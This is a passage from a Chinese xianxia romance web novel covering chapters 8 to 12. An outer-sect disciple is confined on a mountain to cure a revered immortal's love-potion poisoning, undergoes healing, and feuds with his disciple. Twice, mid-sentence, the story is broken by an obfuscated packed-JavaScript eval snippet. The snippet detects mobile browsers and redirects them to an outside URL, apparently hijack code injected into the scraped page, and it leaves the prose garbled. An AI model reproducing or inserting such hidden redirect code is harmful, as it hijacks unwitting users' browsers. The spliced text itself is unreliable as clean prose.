掌门亲自抓她到神月峰,就是为了和天玄宗的宝贝疙瘩高岭之花做这种银乱的事吗? 她有点不确定了。 应该是她理解错了吧。 贺流虹仍然眨着一双黑漆漆的眼睛,里面充满了求知欲:“小师叔都化神期了,肯定经验丰富,他一定会教我的对吧?” 掌门只想快速略过这个稍显尴尬的话题,很肯定地表示:“他辈分修为都在你之上,自然会耐心引导你。” 贺流虹朝紧闭的洞府看了一眼,做出狐疑的神色:“可是小师叔不愿意见我,他是不是对我不满意,很讨厌我?” 景离的脸色立刻紧张起来,可不敢让她产生这样的误会,万一怀恨在心,趁着进入琼华识海的机会随便做点什么,天玄宗的损失几乎无法弥补。 他正组织措辞准备解释,洞府内再次传出师弟的声音。 “本座何时说过讨厌你。” 那声音冷冷淡淡,还带着几分傲气。 贺流虹正在分辨这道嗓音与那天躺在山洞的美人之间的相似性,就被一道力量拉扯过去。 她身边的仙草灵芝消失了,华美的屋舍出现在眼前,比她从前在凡间界远远见过的宫殿还要壮丽辉煌 屋内陈设无一处不透着精致和巧思,灯架是高阶灵兽的骨头制成的,脚下踩着的地砖是上好的灵矿石,形成一个天然的聚拢灵气的法阵。 垂落在窗边的帷幔她也有印象,是用干草编织而成的,看似质朴,其实是高等药田中培植出的一种灵草,晒干后的气味有凝神静息的效果,一百年采收一次。 去年采收,她的手还不小心被药田中的毒虫咬了一口,疤痕到现在还没完全消下去。 如今这灵草成为一个最微不足道的装饰,出现在室内,贺流虹有种微妙的感觉。 整间屋子里面,最惹人注目的“装饰”自然还是坐在上首的美人。 那天美人坐在凤凰上,从头顶上空高高飞过,披罗戴翠,锦绣非凡,衣袂飘飘。 今天却是一身黑金色的厚重长袍,浮金暗影明明灭灭,若隐若现。 那张脸生得昳丽冶艳,却因为这身打扮而多了几分端重威严,令人不敢肆意轻薄。 贺流虹装作打量这个陌生地方,来来回回地徘徊,反反复复地端详上首的美人,几乎把“难以置信”四个字写在脸上。 五官确实一模一样,眼尾那一点鲜红的泪痣仍然极为诱人,但是无论眼神还是姿态都天差地别。 这个人怎么会是当初山洞里的那个呢? 那天发出那种声音的人就是现在这个? 真的假的? 这张脸真的会做出那种表情? 贺流虹发挥所有的想象力,试图将两个气质迥然不同的人重合到一起。 她太惊奇了,不知不觉盯着看的时间就有点久。 景雍的一只手藏在宽大的袖子下,悄悄攥紧,最终还是支撑不住似的偏过了脸,从肩头滑落到胸口的青丝遮住微微发红的耳根。 贺流虹丝毫不知道对方的心理,趁他偏过头,盯得更加大胆。 “坐下。” 冷淡的声音再度响起,隐隐带着几分不悦。 贺流虹看得太专注,没听出来,见对方如此高冷,更想知道这张脸是不是真的会出现和那天一样的表情。 她走了过去,直接在对方身旁坐了下来,问:“小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143279|164589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师叔,是现在就直接开始吗?” 景雍在她坐过来时心中一惊,下意识地拒绝道:“不,不行。” 贺流虹都做好准备了,拒绝也拒绝不掉,伸头一刀缩头也是一刀,不如快点完事,她也能赶紧去挣灵石,她上一个任务尾款还没结呢就被抓过来了。 可小师叔说不行。 不行?不行你还拉我进来?浪费时间啊? 她也有点不耐烦了,又从对方身边站起来,“那等师叔你做好准备我再来,反正我随时都行。” 景雍看到她和自己拉开距离,暗自松了一口气,整理了一下思绪,端坐在上首,缓缓开口:“需要准备的人不是本座,而是你。” 贺流虹有点着急,摇了摇头:“不不不,我完全不需要准备,我在外面就准备好了,光阴似箭,时间珍贵,掌门都跟我说了,我必须负责到底,七七四十九次,一次都不能少。我们抓点紧。” 她刚说完,掌门也走了进来,嘴里还抱怨着:“琼华,为何突然把我关在外面,你能有什么事。” 定睛一瞧,明明是在洞府内,却换了一身如此隆重严肃的衣饰。他不理解。 景雍自动忽略他的提问,看了贺流虹一眼,道:“师兄,她神识虚弱,根骨差劲,还是先带她去准备准备吧。” 贺流虹的心又往下坠了一截,原来不仅要做心理准备,还要做别的准备吗? 那她得在神月峰耽搁多久,她到底什么时候才能去结尾款,时间拖久了,不会扣她钱吧,那可是六百块灵石啊! 她拿出玉简试图联系那个叫“风月宗我和你不共戴天”的同门,发现连不上信号。 正要检查是不是上次充值的一块灵石到期了,却被掌门一把夺过玉简。 “此事关系到天玄宗的未来,必须保密。” 贺流虹愣愣望着被抢走的玉简,欲言又止,这有必要吗? 琼华真人中了风月宗的迷情散,有风月宗那群人在,迟早会传遍全修真界的好吧。 掌门看出她想说什么,“外面如何猜测是他们的事,你不许主动承认。” 贺流虹:“我明白了,我会和你们一起嘴硬到底的。” 掌门沉默了一瞬,扭头看向景雍:“那我先带她去见老谷主,琼华你先做好准备。” 景雍垂下眼帘,衣角动了动,像是被风吹的,沉静漂亮得像一幅画。 贺流虹一边去见老谷主,一边问掌门:“我可以先去一趟金玉满堂吗?” 掌门毫不犹豫拒绝了她。 “那炼器堂呢?” 回应她的还是一声拒绝。 用掌门的话说,没有解开迷情散之前,她不可以离开神月峰。哪怕是小师叔离开,她也不能离开。 因为目前这种情况,但凡不是傻子,都知道一件事,只要她出了事,琼华真人也就没救了,天玄宗的未来也就失去有力保障了。 “原本只要不出五百年,你琼华师叔必能飞升,门内找不出第二个人能像他这般。” “要是有人想断绝琼华飞升的希望,破坏我天玄宗的气运,最简单有效的方式就是杀了你。” 贺流虹听得瑟瑟发抖,灵石没赚几块,先沾上霉运了。 修真界,下次再也不来了。 她的对面,一个头发花白的老人用犀利的眼神上上下下打量着她。 半响之后,老人开口问道:“你以前被妖物伤过?” 她凑近贺流虹面前轻嗅几下,若有所思:“似乎还是个七阶以上的大妖。” 贺流虹还没怎么样,掌门先惊了,如临大敌般追问道:“老谷主,这孩子还有救吗,影不影响和琼华的事?” 9. 第 9 章 医仙谷谷主眯起双眼,用匪夷所思的眼神看着她:“你身上的气息为何如此凌乱?从未见过有修士的气息像你这样乱七八糟,你每天都在做什么?” 贺流虹细细回想,“也没做什么呀,打一些低阶小妖去换灵石,挖挖灵矿,采采灵芝,抓抓灵兽,接一接悬赏,偶尔也会去帮凶宅驱个邪,帮人上个坟……” “好了好了好了,我知道了。”谷主抬手制止了她的底层小修挣扎回忆录,脸上只剩下淡淡的无奈和怜悯。 于是贺流虹也担心地问了一句:“我还有救吗?” 谷主说:“把手伸过来。” 贺流虹配合地伸出手。 谷主给她搭脉,又翻了翻她的眼皮。 她有点意外,修真界的大夫看病的方式居然也这么原始吗? 掌门像是看出她的疑惑,在旁边解说:“谷主从前是凡间界的一名医女,八十岁那年一朝顿悟,自创了医修的修炼之法,建立医仙谷传道受业。” 贺流虹赞叹道:“厉害。”这么厉害,她一定有救了! 谷主却微微蹙了下眉,她从这个天玄宗弟子身上感受到很多混乱的气息。 这些气息之中,有些能够分辨来源,比如对方常年在外接触到的那些野门野路的低阶精怪妖魔。 还有一部分却让谷主感到有些难以分辨,其中还有一缕略显怪异的气息游走在丹田附近。 谷主正要凝神一探究竟,那缕气息却又消失得一干二净,就像是一种错觉,无论她再怎么仔细寻找,都没有一丝痕迹。 她摇了摇头,心想大概这些日子天玄宗为了琼华真人的事催得太紧,导致她压力太大精神恍惚了。 掌门紧张地问:“如何?谷主可有施救之法了?” 谷主看向贺流虹,道:“你的丹田五年前曾被大妖伤过,没有被及时医治,常年经脉阻滞,所以你的修炼速度也要比旁人更为缓慢。” 贺流虹疑惑道:“真的是被妖伤的吗?可是五年前我仍在凡间界,怎么会遇到妖呢?” 她修炼速度慢,难道不是单纯的因为她太菜了? 掌门犹豫了一下,压低声音说道:“这涉及到修真界的秘密,有些妖物为摆脱追捕,会逃到凡间界,为了减少恐慌和不满,各大宗门约定不将这类事宣之于众。” 谷主望着贺流虹那张写满惊讶的脸,感慨道:“算你命大,竟活了下来。妖物伤人不像是凡间界的肉搏械斗,一招一式看得分明,妖生性邪恶,伤人甚至不需要理由,他们藏匿身形躲进人群,不知道什么时候就能轻而易举在睡梦中结束凡人的性命。” 贺流虹的后背凉飕飕的,原来她不知道什么时候就和死神擦肩而过了。修真界的人是真能藏事啊。 有句老话说得好,发现了一只蟑螂,就意味着还有一窝蟑螂。所以除了这类事,是不是还有更多耸人听闻的事至今没有曝光。 掌门却因为医仙谷谷主的这番话,再一次仔细探查了一遍贺流虹的情况,发现她的丹田和经脉确实存在极难察觉的旧伤,使这个本来就很弱的小弟子更加不堪一击。 “这么看来,她是否还能承受住和琼华神交的强度,琼华可是即将突破大乘,神识的力量足以让人神魂俱灭。” 掌门求救地看着谷主,希望谷主能给他一颗定心丸,抢救一下天玄宗的未来。 贺流虹听到“神魂俱灭”四个字,当场就想跑路了,说好了互利互惠的神交,怎么忽然就需要她来拼命了? 这辈子除了钱,她还没有为任何东西拼过命,修真界第一美人也不行,又不能卖出去换钱。 她的脸色比掌门还要糟糕,两只眼睛搜寻一圈,没有找到任何脱身的机会。 老谷主瞧了瞧她的脸色,缓缓开口:“先慢慢来,不能操之过急。总之我先设法治好她的旧伤,调养好她的身体,将她的根骨强化一番,尽量做好准备,减少为琼华真人解毒时的风险。” 贺流虹连连点头:“对的对的,要做好准备,多多准备,事关小师叔和宗门未来,可不能冒险。” 掌门认真朝谷主行了一礼,“那就拜托谷主了,还请谷主尽快出手,助天玄宗度过这次劫难。” 他又拿出一张令牌,道:“这是天玄宗宝库令牌,只要能尽快将这孩子调养好,无论谷主需要什么,都可遣人持此令牌去取用。” 他看了贺流虹一眼,眉间覆盖着愁思。 当上掌门之后,景离就基本上不再接触这些天赋普通的底层弟子们,对五灵根这种最垫底的资质更是感到陌生。 本来他以为就算神识虚弱,难以在神交之中承受化神期神识的倾轧,加上休养的时间,五十年也够了,就算五十年不够,一百年怎么说也没问题。 现在看来,他还是高估了这个小弟子的实力。 本来就是最差劲的五灵根,结果还带着旧伤,怕不是神交一次,就要休养个五十年。 偏偏还没有第二个人选。 想到这里,他的天都要塌了,道心差点就动摇了,脑子里一瞬间闪过几种歪门邪道,想要把贺流虹脱胎换骨,从垫底五灵根强行修改成单灵根。 毕竟,一个人的天资是有限的,灵根越多,分配到每种灵根上的天资也就越少,灵根的纯度也就更低,修炼起来也就越困难。 所以单灵根向来更适合修炼,实力提升得更快,远不会像五灵根那样不堪一击。 另外,同样是单灵根的两个人,由于灵根纯度的不同,彼此也有高下之分。单灵根已经是难得的天才,纯度在八成以上的单灵根更是天才中的天才。 琼华真人的金灵根纯度是最为完美的十成十,是修真界数千年来最有望飞升的第一人,因此成为天玄宗集全宗门之力供养的镇宗之宝,以一己之力让天玄宗收获无数垂涎艳羡忌恨的目光。 而与这些天才相对的,就是那些庸庸碌碌的外门弟子,他们占据了一个宗门的大多数,默默挣扎,默默陨落,拥有短暂而黯淡的一生。 大修们一闭关动辄上百年,那些平凡的小弟子们早就化作枯骨。 景离很怀疑,这个外门小弟子的寿数能不能撑到七七四十九次结束的那天。 他想,当务之急不是用歪门邪道强行拔高她的天赋,而是先喂她几颗延寿丹。 只是延寿丹向来珍贵,修士的寿命有限,每使用外力增加一年寿命都是逆天而行,就算身为掌门,也不能随意使用,需要先和门中长老们商量。 他对两人说道:“我去去就来。”便离开了这里。 贺流虹和谷主大眼瞪小眼,谷主和蔼可亲,有仁爱之心,她旁敲侧击地打探:“和化神期神交,真的有那么大风险吗?我真的会死吗?” 谷主安慰她:“有医仙谷出手,死倒是不会死。” 贺流虹懂了,老太太的潜台词就是:不会死,但是生不如死呗? 天杀的掌门,还骗她说这是福利,她就说世上没有掉馅饼的好事。 她看谷主没有像掌门那样限制她行动的意思,就站起身来出了屋子,谷主果然也没有阻止她乱跑。 她走出去才知道这里仍然是神月峰的地盘,甚至都没有走出小师叔景雍的洞府。 掌门不在,贺流虹试着到处乱逛,如果可以的话,她想溜之大吉,反正迷情散不解又不会死,反倒是她要遭罪。 洞府内部宽广无边,是一片壮美的宫殿群,亭台楼阁,琼楼玉宇,让人大开眼界。 贺流虹走着走着就来到一座熟悉的阁楼外,一抬头,就望见阁楼上的窗户开着,美人的侧脸映着窗外的花影,昳丽如画。 要不是她不久之前刚刚见过,差点没认出来,这就是小师叔。 对方此刻的模样又和前两回大有不同,身上只穿着一件单薄的素衣,没有任何多余的装饰,正有些心不在焉地梳理着头发,任由那绸缎般的青丝垂落在肩头,眉间微微蹙起,带着一丝惆怅。 清风拂过,素净之中流露出几分天然的风流旖旎之态。 贺流虹仰着脸,多看了两眼,准备开口:“小……” 那扇窗哗啦一声飞快地从里面关上了,隔绝了所有探视的目光。 贺流虹使劲眨巴了几下眼睛,有点搞不懂小师叔的心事。 既然美人小气得很,连看几眼都不行,那她 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他震惊地瞪大眼睛,几步追到贺流虹跟前,拧着眉头质问:“是你?你怎么会在这里?” 贺流虹干笑了几声:“周师兄好。” 周无疾联想到最近关于迷情散的传言,有种不妙的预感,看向贺流虹的眼神不自觉带上几分恼怒:“我是琼华真人座下唯一亲传弟子,师尊只收了我一个徒弟,哪里来的阿猫阿狗也舔着脸喊我师兄。” 贺流虹愣了一下。高贵成这样,她都害怕。 她赶紧改口:“原来是周大老爷,大老爷大人不记小人过,我是刁民,大老爷别跟我这个刁民一般见识。” 周无疾有种一拳打到棉花上的感觉,骂了一声:“有病!” 他牢牢记得对面这个外门小弟子曾经的所作所为,扬手就要给她一个教训。 旁边的纸人冲过来抱住他的腿,喃喃开口:“主人,洞府内不能伤人。” 他便反手将几个仙仆都碾成灰。 贺流虹望着那些灰烬散落在地上,转身便逃走,口中大喊:“小师叔,有人要杀我!” 不出她所料,景雍立刻便出现在园中,拦在她和周无疾之间。 周无疾惶恐地低下头,尊敬开口:“师尊。” 景雍轻皱眉头,冷声警告:“不得放肆。” 贺流虹记下这个仇,躲在一棵树后面,当场就开始挑拨离间,一脸认真地说道:“真人,我觉得他刚才是真的想杀我。” 周无疾惊慌道:“师尊,无疾绝对没有这个意思,只是见她擅闯神月峰,想给她一点教训。” “是掌门请她来的,我有求于她。” 景雍倒也没有觉得有求于一个练气二层的小弟子是丢脸的事情,言谈之间神色坦然。 周无疾脸上青一阵红一阵,指着鬼鬼祟祟躲在树后面的人,咬牙切齿地控诉道:“此人目无尊长,对师尊更是毫无敬畏之心!师尊,怎能将您的安危托付在这种人身上?” 贺流虹:“你胡说,我敬爱琼华真人如同敬爱天神,绝无半点亵渎之心,如有半句谎言,天打雷劈。” 她刚竖着指头对天发完誓,云层里就雷声轰隆。 吓得她赶紧把手缩回来,看向景雍,满脸的无辜:“小师叔,都说论迹不论心,你这么好看,只是稍微想一想,不为过吧?” 景雍被她的目光注视着,强作镇定,逼迫自己和她对视,不要每次都落荒而逃般地躲开她的视线。 他知道外界是怎么说他的,更知道风月宗那些人下流的心思,但从来没有人敢如此直白地对他说出口。 一想到即将会发生在他和她之间的事,他就变得从未有过的不知所措,不知道该用怎样的姿态来面对她。 和她一样坦荡吗?他做不到,只要想一想到时候可能发生的场景,就会整个人从内向外生出一种奇异的感觉,呼吸会变得不稳,耳朵会发烫。 冷淡地将她推开?又显得故作姿态。明明早已被她看过最不知羞耻的□□模样。 10. 第 10 章 贺流虹和他对视的片刻,天上的那道惊雷最终并没有劈下来,反倒是渐渐归于平静。 她笑了一下,“师叔你看,连天道都觉得我何其无辜。” 周无疾那日在执法堂就觉得这人不够安分,如今一看,竟是在师尊面前也敢满嘴胡言,一时之间心中被郁气缠绕。 这可是他的师尊,是数千年难遇的天才,受无数人敬仰,他即便是作为弟子平日里都不敢抬眼直视,凭什么需要一个名不见经传的外门废物来救? 他飞快调整了心情,做出一副并不把贺流虹看在眼里的样子,只对着景雍关心询问道:“师尊,外面的传言是真的吗?您当真是遭了风月宗暗算?” 景雍微微一顿,抬眸望向这个徒弟,忖度着该如何开口。 说起来,就连这个徒弟也是掌门替他选的,数万名参加入门考核的弟子当中,选择了天分最好的一个。 虽说只收了这一个徒弟,同住在神月峰,但是平时除了偶尔指点对方修行,并没有多少交流。 他也并不擅长教徒弟。面对徒弟的关心,景雍一时觉得应该说明实情,一时又想起掌门师兄的嘱咐,不该向任何人主动承认迷情散一事,给有心之人拿捏住天玄宗软肋的机会。 他还没想好如何回答,贺流虹就在旁边将脑袋摇得像拨浪鼓,面不改色地否认:“没有没有没有,完全没有这回事。” 贺流虹是个有诚信的人,答应了掌门会帮他们嘴硬到底,那就一定做到。 她底气十足:“不信你去问掌门。” 周无疾碍于师尊在场,装出一副早已忘记之前冲突的模样,道:“还不知道这位师妹的姓名,既然外界传言是假的,那师妹为何会在神月峰?” 贺流虹:“其实是因为我有病,我来找医仙谷谷主治病。” 周无疾一口咬定她是在胡编乱造,但瞟了一眼师尊的脸色,却也不敢再继续追问下去,低下头藏住眉间的阴霾。 景雍问他:“你来找我何事?” 他恭而敬之地又行了一礼,道:“师尊,徒儿是要请教修炼之事。” 景雍带着他往回走,口中说道:“之后我会在洞府内接受谷主诊治,你不必再主动过来,有什么问题,去找掌门便是,掌门师兄会替我尽心指点你。” 周无疾的脚步僵硬,彻底明白了一件事,他被排除在外了。 这个从他踏上修行之路就骄傲至今的身份,如今比不上一个五灵根的废材。 他一转眼,瞥见对方也不紧不慢地跟在他和师尊后头,疑惑起来:“你为何也跟着师尊?” 贺流虹露出了非常不理解的表情,很诚恳地问:“我也有事要找你师尊啊,怎么啦,你不准你师尊和我说话啊?这师尊怎么不干脆你来做呢?” 很低级的拱火小技巧,但是效果非常好,周无疾既怒又慌,把腰弯得很低,诚惶诚恐地开口:“师尊,徒儿绝对没有要忤逆犯上的意思。都是她在胡言乱语。” 景雍停了下来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143281|164589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浓密纤长的睫毛微微扑扇了几下,沉吟片刻后,拿出一张卷轴递过去,“你如今所修功法来自师祖,也就是我师父,这是你师祖当年为心法所做的注解,你天资聪颖,拿回去慢慢参悟。” 周无疾满脸荣幸地接过去,将腰弯得更低,激动道:“多谢师尊看重。” 景雍继续说:“你如今还未至金丹,筑基而已,就算遇到问题,应当也能在这上面找到解答,不必我来多言。” 周无疾刚刚骄傲起来的心又遭到重击,师尊送书给他其实是不想再亲自指点他,想打发他去自力更生。 贺流虹满脑子都是那句“筑基而已”,她还想八十岁之前筑基成功,带着修真界赚的灵石,回凡间界做八旬富贵老太健步如飞享乐两百年,结果这么美好的梦想落在小师叔嘴里就是一句“筑基而已”。 景雍丝毫不觉得这话哪里有问题,冷冷淡淡地对徒弟下了驱逐令:“今日就到这里,往后没我的传召,不得擅入此地。把你的那些仙仆也带走,这里不需要那些东西。” 周无疾不敢反抗头顶这座大山,只幽幽地瞪了贺流虹一眼,转身离开。 景雍将多余的人打发走,转身问贺流虹:“你有何事找我?” 贺流虹回过神来,说道:“小师叔,我想离开神月峰一趟。” 景雍眉头轻蹙,“你想走?” 她连忙否认:“没有没有没有。” 景雍:“你方才对周无疾说假话的时候,也是这副神态。” 11. 第 11 章 贺流虹有口难辩。 一样的神态又怎么了,这只能说明她刚才说谎的样子就跟真的一样,并不能说明她现在也是在说谎。 她满脸写着真诚:“我就是想着之后都不能离开神月峰,想去和朋友们道个别,免得他们为我担心。” 最重要的是,去金玉满堂交一下任务,结一下尾款,免得在这里一关就是几十年,出去之后沧海桑田,什么都没了。 至于跑路,她已经不太抱有幻想了,连周无疾她都搞不定,要是跑了,凭这如花似玉的漂亮小师叔对于宗门的重要性,天玄宗必然是要倾巢出动来抓她。 景雍犹豫了一下,确认道:“你是真的不打算跑了吗?” 他即便是经脉受阻,修为发挥不出十分之一,但这里是他的洞府,一切小变化他都了然于心,早就知道这个小弟子在想办法找洞府的出口。 说实话他很能理解对方的想法,化神期的识海能量巨大,即便能控制不去伤害来自另一道神识的靠近,但是对于这样一个虚弱的小弟子来说,确实有些难以承受双方神魂交融时的压迫力。 更像是一种带着旖旎暧昧气息的惩罚了。 她怕是从医仙谷谷主那里得知了掌门未全然告知的真相,所以萌生了退意。 贺流虹一脸老实地摇头:“不跑了,真的不跑了,我的理智告诉我,跑也跑不掉。” 但是理智归理智,理智控制不了情感。 从情感上来讲,一旦她能走出这座铜墙铁壁般的洞府,那是必然要试一试能不能跑的。 万一就给她跑掉了呢。 再说了,就算是又被抓回来了,又能怎么样?天玄宗敢杀她吗?连罚都不敢罚。 总之她也不会亏。 这种遭罪的事情,性价比太低,对于实现她的人生理想也没太多帮助,自然是能躲就躲,躲不掉也要尽量拖延。 拖着拖着,说不定她就筑基成功了,到时候她就能直接回凡间界养老了。 凡间界灵气稀薄,就是大乘期修士去了,没有灵气的感应,那也是一身本事无用武之地,想找到她就更是大海捞针了。 在她诚挚的眼神注视下,景雍动摇了。 只是回一趟外门去见见朋友,应该没事吧。她的眼神好真诚,一定不是在骗人。 贺流虹将他的反应看在眼里,觉得这下稳了。 只见对方漆黑清凉的漂亮眼眸转动一圈,紧接着,樱色的柔软唇瓣微微张开,缓缓开口:“那就……” “师弟,你们在此处做什么?” 掌门的声音从远处飘过来,随之,一道俊美身影出现在两人面前。 贺流虹在心里默默骂了两声。 她看着掌门,感觉对方气势比之前淡了许多,应该是这次只来了一缕分神。 景雍一五一十地转告了她的诉求:“掌门师兄,她想在正式开始之前先回一趟外门,与友人告别。” “友人?”掌门皱了下眉,“我已经找外门长老问过你的信息,你在外门一直独来独往,并没有什么走得近的友人。” 贺流虹:“……” 看来师兄没有师弟好忽悠,她解释道:“是这样的掌门,你们都误会了,我的朋友不在外门,去外门当然打听不到,其实我和炼器堂的赵炎炎赵师姐有过命的交情。” 掌门爽快地说道:“那行,我会让人转告赵炎炎,就说你得了机缘需要在神月峰闭关两百年。” 他说着就拿出一颗飘散着冷香气息的圆药丸,递了过去:“这是我去找几位长老替你求来的,可延寿两百五十年。你即刻服下,然后开始为神交做准备。” 贺流虹被硬塞了一颗延寿丹过来,神情错愕。 这绿意盎然的小药丸自掌心传递出一股令人欣喜的生命力,能让服用者延寿两百五十年,相当于筑基期的寿命,最厉害的炼丹师才能有幸炼制出那么几颗出来,极为珍贵难得。 无数耗尽寿命也无法突破只能抱憾陨落的修士,若是能得到这样一颗延寿丹,相当于逆天改命,重获新生。 对于贺流虹来说,这颗延寿丹同样意义非凡。 这意味着她恐怕不能回凡间界做个富贵的八旬老太健步如飞了,而是至少要在神月峰坐牢至少两百五十年。 她含泪吃下丹药,几乎没有感觉到任何味道,丹药就在嘴里化开,顿时周身经脉都流淌过一阵温润舒适。 随后她就发现身体变得轻便了一些,抬手一瞧,先前在药田工作留在手背的总也痊愈不了的伤疤迅速脱落,恢复如初。 不过除了这点变化,倒也没有其他更突兀的表现。 她就这么增加了两百五十年寿命? 她看向这对师兄弟:“掌门放心,师叔放心,弟子一定会好好报效师门的!” 掌门欣慰地点点头,对景雍说道:“师弟你看,我就说她是个懂分寸知进退的好孩子,你有救了。” 景雍想到了周无疾之前对她的指控,垂下眼帘,沉默不语。 贺流虹拱了拱手,积极表示:“那弟子就先去找谷主治病了。” 掌门摆了摆手,“去吧。” 贺流虹像是急着去投胎似的一溜烟地跑了。 等她的身影一消失,掌门就立刻说道:“师弟,我突破在即,也先回去闭关了。” 景雍犹豫着叫住他:“师兄,有一事相问。” 掌门:“有什么事只管说,跟我还别扭什么。” 景雍:“师兄既然提前了解过她的消息,那应该知道,她……她之前被周无疾带着执法堂的人抓过?” 掌门:“呃,呃,好像是有这么回事,我记不太清了。” 景雍组织着措辞,追问道:“那她是为了什么事被抓的?” 掌门两只眼睛翻上去望着洞府内碧蓝如洗的天穹,含糊其辞地回答道:“也没什么大事,不严重,就是一些邪修们乱搞出来的画册,小孩子嘛,总难免一时误入歧途。” 景雍若有所思:“我明白了。” 掌门见他神色琢磨不透,连忙一脸坚定地强调:“但是我敢保证,这孩子不论做过什么,对你都是十分敬重,你千万不要对她流露出敌意。” 他这师弟的脾气他最清楚,除了修炼,在其他事情上保留着赤子般的天真,不懂掩饰伪装,要是对那外门弟子生出了厌烦嫌恶之心,必定要表现出来,引起对方的逆反心,到时候不仅解不了迷情散,反倒惹祸上身。 “师弟,就当是为了宗门,为了师兄我,下次见到时,对她温柔客气一些。” 景雍微微颔首,“师兄,恕不远送。” 掌门收到了逐客令,再多嘴多舌就显得不合适了,一闪身消失在洞府内。 景雍很好奇,那画册到底是什么样子的,会让她不惜冒着被执法堂抓的风险也要去看。 听掌门和周无疾的意思,那画册似乎与他有关,难道画里面的“他”才是她真正喜欢看的“他”吗? 他迟疑了一下,将自己变幻成一副普通男子的模样,跟在掌门后面,也走出了洞府。 - 贺流虹正在认真接受治疗。 医仙谷代表修真界的最前卫医疗专家团,以谷主为首,正在为她进行一场专家会诊。 她想,越快养好身体,就能越快开始“工作”,也就能越快结束工作,刑满释放。 七七四十九次而已,她年纪轻轻的,难道就不能试着一夜七次吗? 一夜七次,七天出狱。 没事的,她还年轻, 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琼华真人的迷情散到底是谁下的,至今是个谜题,但不用多想也知道,必然是风月宗的重要人物,否则没能力也没资格知道迷情散的配方。 贺流虹被这么一问,也感慨了一声:“你别说,除了最后一件,我运气好像确实挺不错的。” 那名圆脸可爱医修拍拍她的肩膀,安慰道:“放松一点,有我师父在,就算你被榨干八百次,肯定也能给你补回来。就当是为美色付出的代价吧。” 贺流虹:“我想戒色。” 老谷主过来摸了摸她的脑袋,郑重开口:“我先将你丹田受的伤治好,然后会治一治你的脑子。” 圆脸医修翻译道:“师父的意思是,识海就在脑袋的眉心处,也是神交所在地,为了让你更好地承受之后的事,师父会先用外力强化一下你的识海。不是说你脑子有问题。” 贺流虹笑得一脸淳朴:“那我们就快点开始吧,我已经迫不及待要为师叔和宗门鞠躬尽瘁死而后已了。” 谷主又一次仔细探查了一下她的丹田和周身经脉,心里仍然记着第一次为她诊治时稍纵即逝的那抹异常气息。 后来几次再探查,就再也没有出现过。 这次也是一样。谷主彻底放下心来,确认那次是自己的错觉。 她专心给贺流虹治疗丹田处的旧伤。 尚未筑基的修士丹田内是一片混沌,受了伤也不容易察觉,何况是陈年旧伤。 要不是那次被赵炎炎扛回炼器堂请堂主救治,贺流虹自己都察觉不到自己身体的异常。 景雍出门了,医仙谷的医修们也没有因此懈怠,为贺流虹配置了好几个专业团队,有的专门负责治旧伤,有的负责给她搭配每日营养餐调理身体,甚至还有心理咨询服务帮她减轻压力。 贺流虹每天被一群医修围着,连几点入睡几点醒来几点吃饭锻炼吃药打坐都有一张长长的日程表。 营养餐更是每隔几日就换一次,有些食材她捏着鼻子皱着眉头嘎嘣嘎嘣拼着半条命吃完,才得知至少价值四位数以上的灵石,急得她差点一口老血吐出来。 一个月后,谷主宣布了一个喜人的消息,贺流虹的旧伤完全痊愈了。 贺流虹早就有所察觉,身体与从前有些不同。 刚来神月峰时,她只觉得这里灵气充沛,但她根本吸收不了多少,现在随着旧伤痊愈,灵气顺着经脉流转过丹田的速度加快了不少。 她畅快地深吸了一口气,感受着浓郁精纯的灵气流过身体,当场就入定了。 再一睁眼,就静悄悄突破了练气三层。 12. 第 12 章 虽然这次的突破比较快,但是和以前的每一次突破一样静悄悄,既没有天降异象,也没有什么祥瑞现世。 就连门外的圆脸医修,也是过了会儿才发现灵气浮动的异样,走进来祝贺她。 “小贺,你突破啦!恭喜恭喜!” 贺流虹本来就在练气二层和三层的临界点上,原本以为三个月内就能突破,没想好旧伤一治愈,一个月就突破了,真是可喜可贺。 她掰着手指头重新计算筑基需要的时间,之前算来算去,五十年内很有希望,八十年内相当有把握。 现在版本更新了!按照这个速度,最多只需要四十年! 只要能同时在四十年内结束神月峰的工作,她就能退休了,而且是一下子多了四百年寿命! 四百年对于天赋差的修士来说,成功结丹的机会依旧渺茫,说不定下个秘境就被大修一掌拍死,但是用来在凡间享乐实在羡煞旁人。 小圆脸不知道她在掰着手指头算什么,和之前一样,将天玄宗提供的一应补品丹药摆到桌上,提醒道:“该吃药了。” 贺流虹这些天差不多是在医修们的监督之下拿药当饭吃,天玄宗为了他们的镇宗之宝未来之星,只要不是天上地下独一无二的绝世之物,统统都往神月峰上送。 光是她一个人,这一个月以来就不知吃掉了多少灵石。 这次突破得这么快,大概也有这些补品灵药的原因。 她连吃带拿,顺手往自己的储物袋里装了不少灵丹妙药,算作她这一个月以来尽心尽力为宗门服务的工资。 旁边的圆脸医修扭过脸,睁一只眼闭一只眼。 贺流虹嗑完一瓶仙丹,感觉自己现在强得可怕,一把抓住小圆脸的肩膀,急切地摇晃:“快!快让我去神交!我现在就想和小师叔神交!” 小圆脸被摇晃得头晕眼花,“你冷静点,小贺,色令智昏呐!” 贺流虹:“不,我要为师门解忧,我要为师门献身!” “可是你行不行啊……” “我行!我特别行!” 贺流虹说不动她,失望地把她丢开,跑去找真正说得上话的人,也就是谷主。 